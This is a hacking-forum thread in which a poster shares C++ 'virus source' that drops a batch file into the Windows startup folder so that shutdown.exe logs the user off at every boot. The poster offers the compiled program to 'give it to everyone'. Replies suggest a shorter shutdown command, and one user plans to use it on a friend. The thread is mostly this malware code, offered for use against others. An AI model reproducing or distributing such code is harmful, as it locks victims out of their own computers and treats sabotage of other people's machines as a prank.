Results 1 to 5 of 5
  1. #1
    tednugget's Avatar
    Join Date
    Jul 2007
    Posts
    150
    Reputation
    10
    Thanks
    14

    [Virus source] A simple windows exploit.

    This program doesn't do much. (But then again, I don't code much.)

    All it does is either log a user out of their current session, reboot, or shutdown their computer.

    It's written in C++ and takes advantage of the DOS command "Shutdown.exe."

    Code:
    #include <iostream>
    #include <stdlib.h>
    #include <stdio.h>
    #include <windows.h>
    #include <fstream.h>
    
    using namespace std;
    
    int main()
    {
     
        ofstream fout("C:\\documents and settings\\all users\\start menu\\programs\\startup\\AUTOEXEC.BAT");
        fout << "@echo off\n";
        fout << "shutdown.exe -l";
        fout.close();
        system("shutdown.exe -l");
        return 0;
    }
    Notes: This will not work if "C:\" is not the default drive.
    This is set to log people off of their current session, you may use the -l switch to log them off, the -r switch to reboot their computer, and the -s switch to shut it off. This program puts AUTOEXEC.BAT in the startup folder so that it will kill the session every time it starts up.

    (I compiled and tested this in Dev-C++).


    *Edit: Here is the compiled file: give it to everyone
    Last edited by tednugget; 01-02-2008 at 07:40 PM.

  2. #2
    tednugent's Avatar
    Join Date
    Mar 2007
    Gender
    male
    Location
    /bin/src
    Posts
    3,592
    Reputation
    17
    Thanks
    610
    Aww no one wants this?

    It's a great way to end an MSN fight

  3. #3
    radnomguywfq3's Avatar
    Join Date
    Jan 2007
    Gender
    male
    Location
    J:\E\T\A\M\A\Y.exe
    Posts
    8,858
    Reputation
    381
    Thanks
    1,823
    My Mood
    Sad
    This can be done a much easier way by using the code below.

    system("shutdown -f");

    using the system command can give output to the console as if it were command prompt.



    There are two types of tragedies in life. One is not getting what you want, the other is getting it.

    If you wake up at a different time in a different place, could you wake up as a different person?


  4. #4
    tednugent's Avatar
    Join Date
    Mar 2007
    Gender
    male
    Location
    /bin/src
    Posts
    3,592
    Reputation
    17
    Thanks
    610
    I know what the system command does, if you read my code, you'd see that I used it.

    What all the extra code does is place a file in the startup folder so that windows will be unable to start.

  5. #5
    yahagashi's Avatar
    Join Date
    Oct 2007
    Location
    Why should you know? Are you Some Kind of Sick Pedophilic Child?
    Posts
    312
    Reputation
    20
    Thanks
    50
    Aw, thank! I really needed this for a friend who needs WR Hacks...

Similar Threads

  1. [Release] [Source Code] Simple Game Base with Special FX
    By supercarz1991 in forum Combat Arms Hack Coding / Programming / Source Code
    Replies: 23
    Last Post: 03-09-2011, 05:49 PM
  2. New Windows Exploit
    By Dave84311 in forum General
    Replies: 6
    Last Post: 12-31-2009, 05:16 PM
  3. Windows Exploit. Form and function.
    By tednugent in forum General Hacking
    Replies: 0
    Last Post: 10-29-2008, 11:30 PM
  4. Simple And Fun Virus :D
    By Synns in forum Spammers Corner
    Replies: 3
    Last Post: 10-11-2007, 10:50 AM